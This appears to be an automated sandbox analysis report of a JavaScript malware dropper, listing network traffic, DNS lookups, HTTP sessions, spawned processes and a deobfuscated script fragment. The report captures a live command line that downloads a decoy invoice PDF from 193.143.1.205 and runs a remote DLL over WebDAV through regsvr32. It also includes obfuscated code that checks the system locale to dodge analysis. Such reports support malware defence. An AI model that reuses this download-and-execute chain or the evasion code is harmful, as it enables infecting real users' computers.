Jan 11, 2025 03:02:41.604100943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604815006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604830980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604846001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604859114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604865074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604878902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604885101 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604891062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604904890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604912043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604918957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604923964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604931116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604939938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604939938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.604942083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604957104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604969025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.604985952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605021954 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605722904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605740070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605751038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605765104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605775118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605778933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605813026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605823994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605837107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605846882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605853081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605865002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605880022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.605884075 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.605916023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.606451988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606467962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606478930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606492996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606506109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606511116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.606518984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606533051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606539965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606549025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.606553078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606565952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606580019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606590033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.606591940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606606007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606617928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.606638908 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.606671095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.607296944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.607322931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.607337952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.607345104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.607351065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.607366085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.607379913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.607414007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:42.003998041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:42.011636972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:42.361836910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:43.058727980 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:43.063828945 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:43.063909054 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:43.067631960 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:43.072748899 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:43.905092001 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:43.956214905 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:44.305738926 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:04:09.088907003 CET	51223	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:04:09.093676090 CET	53	51223	1.1.1.1	192.168.2.7
Jan 11, 2025 03:04:09.093755960 CET	51223	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:04:09.093857050 CET	51223	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:04:09.098599911 CET	53	51223	1.1.1.1	192.168.2.7
Jan 11, 2025 03:04:09.538657904 CET	53	51223	1.1.1.1	192.168.2.7
Jan 11, 2025 03:04:09.539465904 CET	51223	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:04:09.544413090 CET	53	51223	1.1.1.1	192.168.2.7
Jan 11, 2025 03:04:09.544480085 CET	51223	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:02:51.611165047 CET	61279	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:04:09.087951899 CET	53	61573	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:02:51.611165047 CET	192.168.2.7	1.1.1.1	0xffb9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:02:51.618007898 CET	1.1.1.1	192.168.2.7	0xffb9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:02:52.455338001 CET	1.1.1.1	192.168.2.7	0x7d9c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	920	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:02:39.913450003 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:02:40.703522921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:02:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:02:40.703547001 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:02:40.703561068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:02:40.703578949 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:02:40.703591108 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:02:40.703605890 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 03:02:40.703905106 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:02:40.703921080 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:02:40.703934908 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:02:40.704220057 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 03:02:40.708378077 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7684	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:02:43.067631960 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:02:43.905092001 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:02:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:02:35
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js"
Imagebase:	0x7ff7ebca0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:02:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll
Imagebase:	0x7ff70f710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:02:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:02:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:02:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	21:02:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70f710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:02:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74e140000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:02:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:02:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:02:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,1139957420689422641,14681408774083480319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function thcocng() {	thcocng() ➔ undefined
1	ylahukvxe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qwoxdes = this[bfudrk + fwcied + urhhr + rtjyuv + bhzauf + fsuxl + rkbgnpbd + jhgmukiqa] ( this[sjsvc + fhziefgoz + lgncwbdub + urhhr + fbxsi + bfudrk + jhgmukiqa][xejpydj + urhhr + bhzauf + fwcied + jhgmukiqa + bhzauf + zvbqqbb + mkoswhkyr + yoeag + bhzauf + lgncwbdub + jhgmukiqa] ( sjsvc + fhziefgoz + lgncwbdub + urhhr + fbxsi + bfudrk + jhgmukiqa + ustba + fhziefgoz + zmofxft + bhzauf + hxiplajul + hxiplajul ) [xbmspvv + bhzauf + zxcmjv + xbmspvv + bhzauf + fwcied + ouuuf] ( umqjz + bmbeiwjl + mwjamg + todvqpmqf + dvgvvqza + xejpydj + bgfpkm + xbmspvv + xbmspvv + mwjamg + szmdjzthd + aqhld + dvgvvqza + bgfpkm + fhziefgoz + mwjamg + xbmspvv + wrfzhd + xejpydj + wfhuehx + rkbgnpbd + jhgmukiqa + urhhr + wfhuehx + hxiplajul + drmmcwfnd + bsbdtqqwe + fwcied + rkbgnpbd + bhzauf + hxiplajul + wrfzhd + fsuxl + rkbgnpbd + jhgmukiqa + bhzauf + urhhr + rkbgnpbd + fwcied + jhgmukiqa + fbxsi + wfhuehx + rkbgnpbd + fwcied + hxiplajul + wrfzhd + jednous + wfhuehx + lgncwbdub + fwcied + hxiplajul + bhzauf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qnhqn = 0 ; qnhqn < ylahukvxe[hxiplajul + bhzauf + rkbgnpbd + zxcmjv + jhgmukiqa + zmofxft] ; ++ qnhqn )
4	{
5	if ( qwoxdes == ylahukvxe[qnhqn] )
6	{
7	qwoxdes = true;
8	break ;
9	}
10	}
11	if ( qwoxdes !== true )
12	this[sjsvc + fhziefgoz + lgncwbdub + urhhr + fbxsi + bfudrk + jhgmukiqa][ursvoxqy + upebfchch + fbxsi + jhgmukiqa] ( );
